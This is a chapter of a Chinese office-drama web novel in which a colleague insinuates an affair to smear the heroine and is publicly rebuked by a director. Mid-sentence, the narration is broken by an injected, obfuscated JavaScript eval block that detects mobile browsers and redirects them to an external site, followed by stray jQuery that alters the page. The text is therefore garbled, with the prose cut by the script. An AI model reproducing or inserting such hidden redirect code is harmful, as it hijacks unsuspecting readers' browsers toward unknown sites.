谢默这次也是返校回来答辩的。崔羡鱼没有使劲压榨他,不一会儿就让他休息了。三个人一起去了学校商业街,她请两位小朋友吃了炒酸奶和奶茶。
吃完后,她和谢默告别,跟许嘉敏俩人抱着奶茶慢悠悠地回去。
结果刚到展厅,迎面遇到了几个同事,大家看过来的眼神有些微妙。崔羡鱼扭头问许嘉敏:“我脸上有东西吗?”
许嘉敏很诚恳:“只有美貌。”
奇怪了,大家怎么一脸欲言又止呢?
很快,她就知道了缘由——张贝给她发了条私信,是一张截图。
崔羡鱼看完,立刻打开工作群,果然里面有三条撤回记录。她冷笑一声,扭头就去找李茜汝。结果这女人已经提前溜了,半抹人影都见不着。
“怎么了?”许嘉敏见她风风火火,关切地问:“是有急事吗,羡鱼姐?”
“被小人算计了。”
“啊?”
崔羡鱼找不到人,低头噼里啪啦在微信上打了一大堆话,正要与李茜汝直接对线,就看到张贝又发来一条消息。
她点开一看,是另一个视角的照片,可能是张贝自己拍的,画面上有她、许嘉敏和谢默。
张贝:【幸好我在看手机,立刻就帮你拍了张澄清图,你打算怎么办?】
看到这张澄清照片,崔羡鱼的火气消下去不少,深吸几口气让自己冷静下来,又拐回去把打的字都删掉了。工作群里发私人消息不太好,李茜汝又是个大关系户,这样澄清,搞不好领导给她也安上罪名,最终各打五十大板。
所以,她要用更巧妙的回击方式。最好能让李茜汝也痛一下——主动招惹她必须要付出代价。她给林越面子老实上班,真以为她崔羡鱼是人人拿捏的软柿子?
搁以前,她脾气火爆,一生气谁的面子都不给,直接在群里开撕,把李茜汝捎带上她领导打包一起骂。现在,她年龄渐长理智了一些,但这并不代表她脾气变好了。
崔羡鱼回复:【谢了,我欠你一个人情。】
张贝:【不客气,我们都看不惯她,群里根本没人理她。不过姐妹,你打算怎么办?下午活动马上开始了,要不等工作结束了?】
崔羡鱼:【你放心,我不在群里跟她闹。你们办活动也不容易。到时候我发朋友圈澄清吧。】
张贝:【好。别往心里去哈。大家都是站在你这边的。】
……
下午一点半,活动即将开始。
操场上的展台已经吸引了不少学生,围得里三层外三层,大厅里也坐满了拉壮丁找来的观众。现场工作人员紧张地测试着屏幕KV和麦克风,稍后出场的领导们都在接待室休息。
李茜汝此时正在接待室里,陪着她们的部门总一起吹空调。傻子才愿意在操场上顶着大太阳干活呢,她自诩聪明,就爱围在领导身边,领导看得到的工作才叫工作量。和领导走近点,比在外头任劳任怨当老黄牛强多了。
而且这次来的高层很多,除了她们人力资源部的罗总和条线分管总以外,他们的新独立董事也来了,正坐在主座上,看着手里的演讲稿。
她对这位顾总印象很深。虽说独立董事并不属于公司内部人员,但德盛是头部大企业,金融圈顶流,独立董事岂是一般人能当的?想当德盛的普通员工都有门槛,那些写会议纪要、贴发票、编周报的活,一群顶级名校的应届生都抢破头呢。
而且这位顾总也才三十岁出头,不仅年轻,还长得很帅,带着金丝框眼镜,看起来英俊斯文,像一朵只可远观不可亵玩的高岭之花。这么优秀的男人,想不被人记住都难。
领导多,也就意味着观众多,李茜汝只觉得自己现在站在一个万众瞩目的舞台上,一举一动都是表现自己的好机会。她一会儿给罗总聊工作,假装自己很积极。一会儿给分管总倒茶,态度熟稔,一看就和高层走得很近、关系很好。
她本来想给顾平西也倒一杯茶,结果这位顾总当着她的面,直接把茶杯盖上了。
李茜汝有些尴尬,讪讪把茶壶放下,又回到了罗总身边。
罗总和她关系不错,见大小姐吃瘪,便同她聊天。
最近李茜汝在忙这个进校园活动,她抓紧机会把项目组同事干过的活揽到自己身上,罗总也很会借坡下驴,把她夸得团团转。
“陈总啊,你可不知道,茜汝最近工作态度特别好,”罗总扭头,跟分管总聊天:“前些天加班到晚上八点呢,晚饭都没吃。这孩子今年特别有上进心,变化很大。”
“年轻人是得上进。”
“是的呀,我家里也经常跟我说不能光靠家里坐吃山空,还是得自己有真本事,”李茜汝对罗总道:“罗总你可得给我多压压担子,我年轻,能抗耐造!”
罗总笑眯眯:“年轻人培养也得慢慢来,德盛是一片沃土,相信我们茜汝能大有所为。”
李茜汝被夸了一通,心情好多了,得意洋洋地看了眼窗外。五月份,海城已经逐渐升温,中午的时候能有25度,晒得人头晕眼花。
那群只知道干活的傻子,在外面累死,领导也看不到啊。到时候年终述职,领导们只会知道她进步飞快,傻子们顶多落一句“辛苦了”、“有大局观、有担当”,绩效评优?想都别想。
这边他们三个人演得热火朝天,顾平西始终都不发一言,偶尔才会和陈总说一两句话。李茜汝直觉他貌似不太待见她,但具体为什么,她也不清楚。看到他手里捏着的讲话稿,她又想起了崔羡鱼这个女人。
陈总刚好也分管企划部,不知道他对崔羡鱼这号人有没有印象?李茜汝有了个主意,一脸真诚:“这次也多亏了企划部的同事帮忙,那个许嘉敏是企划部的校招生吧?她稿子写得可好了。我那时忙的昏头转向,多亏了小许,她主动帮我写顾总的讲话稿,说是想进步。”
“那你得多向小许学习。”罗总道:“那篇稿子我看了,写得确实有水平,她一个校招生文笔这么老道?我还是第一次见。”
“崔羡鱼好像帮她改了改,”李茜汝说:“她改的特别仔细,我要是不催她,估计都来不及了。到最后才把稿件交给我,真是太负责了。”
这句话说得夹枪带棍,表面上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490593|185838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夸她认真仔细,实际上说她磨磨蹭蹭耽误进度呢。压线给材料,一点都不给上面的人提意见的时间?还是说想让上面的人自己改?
说到底是别的部门的人,罗总没有过多评价,只说了句“工作负责是好事,段总给我们的人肯定都有硬本事。”
李茜汝低哂了一声:“的确是呀,不过罗总,下次再有这种活动,能不能也帮我们找几个男生当帮手?两位企划部的同事都是笔杆子,但是搬运物料的活,女生干就有点力不从心了。崔老师上午还喊了自己的小男友来帮忙,不然那一箱箱的小礼品可真搬不动。”
新员工入职,尤其是这种空降的,基本上人力的领导和分管领导都多多少少了解过这个人的情况。崔羡鱼也写了入职信息表,她的婚姻情况是已婚。
那小男友是什么意思?实在是引人遐想……
果然,她话音落地,接待室的空气静默了一瞬,一束冷峻的目光突然投了过来。她扭过头,果然看到顾平西放下了演讲稿,正在看她。
李茜汝心里顿时有些小得意。
看吧,顾总果然是传闻中那么冷峻严肃!员工能力强是一码事,私生活混乱、道德底下也是一码事。崔羡鱼这下子可倒霉咯!谁让她非要和自己作对?真是活该!
“你是哪个部门的?”
突然间,一道低沉漠然的声音响起,划破了满室沉寂。李茜汝迫不及待地回答:“顾总您好,我是人力资源部的,李茜汝。木子李,草字头的茜,三点水……”
可顾平西随后就漠然地打断了她,转头看向一旁的罗总:“罗总,贵部牵头修订的《员工行为规范》里有没有禁止诽谤、侮辱同事这一条?”
罗总愣了下,如实点点头:“有。”
“那你手下的人刚刚是明知故犯?”
“不不不,顾总,茜汝她……”罗总匆匆瞥了李茜汝一眼,竭力组织着语言:“她就是一时嘴快,没别的意思。小姑娘太单纯,被家里保护得好。”
可顾平西似乎并没有放过她的意思,依旧冷冷地盯着她,目光带着审判和一丝毫不掩饰的厌恶。李茜汝从小到大哪儿见过这种冷脸?一时间被他慑得呆若木鸡,脸庞充血,求助般看着身侧的罗总。
这下子,罗总也爱莫能助了,他的领导也在旁边呢,就算再护犊子,也是自己的人有错在先,再解释都是无力的。
陈总这时开口:“就算小,也快30了,人家崔羡鱼比她大哪儿去?这都不是借口。这个月奖金扣200。”
罗总碰了碰李茜汝的胳膊,她刚想说一句“好的”,便又被顾平西打断了。
“‘如违反上述规定,将给予全司通报批评,并是情节严重程度扣除该月绩效奖金的10-100%。’以上是《规定》第三部分第1条。对不对?”
陈总不再说话,老神在在地端起茶杯,喝了一口。李茜汝低着头,眼泪已经蔓上眼底。罗总只好挤出一抹笑来,抬手擦了擦额上的汗:“是,顾总记得一点都不差。”
顾平西没有再说什么,冷冷地瞥了李茜汝一眼,拿着讲话稿起身,准备上台。